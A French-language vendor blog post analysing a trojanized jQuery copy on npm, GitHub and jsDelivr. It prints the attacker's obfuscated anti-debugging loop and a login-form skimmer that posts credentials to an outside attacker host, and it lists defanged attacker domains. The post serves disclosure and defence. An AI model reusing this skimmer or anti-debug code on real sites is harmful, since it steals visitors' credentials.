En bref : attaque jQuery cheval de Troie sur CDN
- Un CDN de confiance corrompu : Tout le monde fait encore confiance à un CDN jQuery parce que ça a toujours fonctionné, mais la copie trojanisée sur jsDelivr a modifié une seule méthode du prototype et exfiltré silencieusement toutes les données de formulaire de la page avec une requête GET $.ajax asynchrone.
- cside voit le changement : La copie malveillante recevait environ 37 000 hits par mois sur npm, GitHub et jsDelivr. L'agent JavaScript first-party de cside observe le comportement à l'exécution de chaque script dans le navigateur et détecte un changement de payload avant que le code trojanisé ne s'exécute dans la session d'un utilisateur réel.
- Le SRI ne suffit pas : Si votre seul garde-fou est SRI sur la poignée de scripts que vous avez pensé à épingler, un changement de compte mainteneur ou un miroir CDN mis à jour livre encore du code d'attaquant directement à chaque visiteur chargeant votre checkout.
Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur de cside. Elle couvre tout ce qui suit en un seul déploiement.
Des attaques ont été découvertes dans jQuery trojanisé sur GitHub, npm et jsDelivr dans le cadre d'une nouvelle attaque de la chaîne d'approvisionnement web. Chaque package contenait une copie de jQuery avec un petit changement : la fonction « end ». Cette fonction fait partie du prototype jQuery et a été modifiée pour inclure du code malveillant supplémentaire.
Dans le script malveillant, l'attaquant envoie une requête GET non bloquante en utilisant '$.ajax' vers d'autres domaines. L'URL de la requête inclut un paramètre de requête, qui varie entre les différents packages. En conséquence, chaque fois que la fonction end est invoquée, toutes les données de formulaire de la page sont exfiltrées.
Cela a d'abord été découvert sur npm, puis plus tard sur plusieurs dépôts GitHub ainsi qu'une ressource hébergée sur CDN sur jsDelivr.
Dans notre campagne intitulée le risque de la chaîne d'approvisionnement ne s'arrête pas à npm, nous soulignons que la méthode de livraison d'un script comme celui-ci permet un comportement dynamique. Cela fait de la vérification des sources ou du fait de s'appuyer uniquement sur des méthodes de livraison fiables un jeu risqué, comme l'illustre cette attaque. Cela trompe souvent les pare-feu et permet au code malveillant de passer inaperçu, et les attaquants en sont bien conscients.
Ce que nous avons trouvé
Nous avons extrait le code malveillant du CDN officiel jsDelivr, qui reçoit 37 000 hits par mois. Toutes ces visites incluent les scripts modifiés et ne sont pas sûres.
Voici une partie du code malveillant que nous avons trouvé et ce qu'il fait :
Cette partie du script sérialise les données de formulaire, les convertit en chaîne hexadécimale et les envoie à un serveur distant en utilisant une requête GET, exposant potentiellement des informations sensibles de l'utilisateur sans consentement. L'utilisation de $.ajax avec une fonction asynchrone rend ce transfert de données furtif, ce qui suggère une intention malveillante de collecter des données de manière discrète.
1. Mécanisme anti-débogage :
- Fonction d'intervalle : Une fonction '_0x38c4a6' est exécutée toutes les 4 secondes en utilisant 'setInterval'. Cette fonction vise à détecter et perturber les tentatives de débogage en exploitant l'instruction 'debugger' de JavaScript.
- Fonction imbriquée : Dans '_0x38c4a6', la fonction imbriquée '_0x386016' contient une logique pour appeler de manière répétée 'debugger' en fonction de certaines conditions, ce qui rend difficile le débogage du code avec des outils standard.
(function () {
setInterval(function () {
function antiDebugging(_0x44dcc7) {
if (typeof _0x44dcc7 === "string") {
return function () {}.constructor("while (true) {}").apply("counter");
} else {
if (('' + _0x44dcc7 / _0x44dcc7).length !== 1 || _0x44dcc7 % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
}
antiDebugging(++_0x44dcc7);
}
try {
antiDebugging(0);
} catch (e) {}
}, 4000);
})();
2. Gestionnaire de soumission de formulaire :
- Sélection de formulaire : Le script sélectionne le formulaire avec la classe '.login-form'.
- Événement de soumission : Un écouteur d'événement est attaché à l'événement de soumission du formulaire.
- Requête AJAX : Lorsque le formulaire est soumis, une requête POST AJAX est envoyée à 'https://koneksi.barux.my[.]id/index.php' avec les données de formulaire sérialisées.
$(".login-form").submit(function () {
var form = $(".login-form");
$.ajax({
url: "https://koneksi.barux.my.id/index.php",
type: "POST",
data: form.serialize(),
success: function () {
return true;
},
error: function () {
return true;
}
});
});
Ensemble, cela suggère que le script peut être utilisé pour empêcher la manipulation ou l'inspection (via la logique anti-débogage) tout en envoyant silencieusement des données d'un formulaire vers un serveur distant. Ces données peuvent être des identifiants d'utilisateur ou d'autres informations.
Comme c'est typique avec ces attaques, il est difficile de savoir combien de personnes ont été victimes. La méthode de livraison de ces scripts permet un comportement dynamique. N'importe quel utilisateur peut recevoir une livraison différente à chaque fois, surtout lorsqu'un script a été compromis. C'est donc soit complètement aléatoire, soit hautement ciblé et configuré de cette manière pour rester indétecté pendant longtemps.
Dans une recherche publiée par Phylum, nous savons que les domaines suivants ont été utilisés dans cette attaque :
- https://paneljs[.]hanznesia[.]my[.]id
- https://api-web-vrip[.]hanznesia[.]my[.]id
- https://log[.]api-system[.]engineer
- https://irisainginbos[.]icikipoxx[.]pw
- https://patipride[.]icikipoxx[.]pw
- https://apii[.]fukaes[.]ninja
- https://pukil[.]dannew[.]biz[.]id
- https://api[.]jstyy[.]xyz
- https://qxue[.]biz[.]id
- https://api[.]newrxl[.]online
- https://api[.]iimg[.]my[.]id
- https://apiweb[.]eventtss[.]my[.]id
- https://pokemon[.]denii[.]biz[.]id
- https://apii[.]codatuys[.]cab
- https://api[.]codatuys[.]biz[.]id
- https://saystem[.]ditzzultimate[.]xyz
- https://paneljs[.]dimashost[.]xyz
- https://cssimage[.]dimashost[.]xyz
- https://ajax[.]failexpect[.]biz[.]id
- https://ns[.]api-system[.]engineer
- https://log[.]systems-alexhost[.]xyz
- https://api-system[.]engineer
- https://systems-alexhost[.]xyz
- https://panel[.]api-bo[.]my[.]id
- https://project[.]systemgoods[.]me
- https://danu[.]eventtss[.]my[.]id
- https://panel-host[.]clannesia[.]com
- http://apii-pandawara[.]ganznesia[.]my[.]id
- https://system-alexhosting[.]biz[.]id
- https://nd[.]api-system[.]engineer
- https://anti-spam[.]truex[.]biz[.]id
- https://panel-host[.]dmdpanel[.]my[.]id
- https://api-bo[.]my[.]id
- https://pusat-js[.]truex[.]biz[.]id
Que pouvez-vous faire
Le temps des mesures préventives est révolu. Vérifiez immédiatement votre code pour toute référence aux dépôts et domaines affectés. Si vous en trouvez, supprimez-les.
Des attaques comme celle-ci étaient auparavant impossibles à détecter car les développeurs qui s'appuient sur des sources tierces ne sont pas toujours au courant des changements dans les scripts eux-mêmes. Les anciennes méthodes de détection ne prennent pas en compte ces changements et ne peuvent donc pas faire la différence.
En utilisant l'offre gratuite de cside, vous êtes alerté lorsqu'un changement est effectué à l'intérieur du script lui-même. Nous bloquons automatiquement tout ce qui est malveillant, et vous obtenez un aperçu complet des scripts désobfusqués pour comprendre ce qu'ils servent.
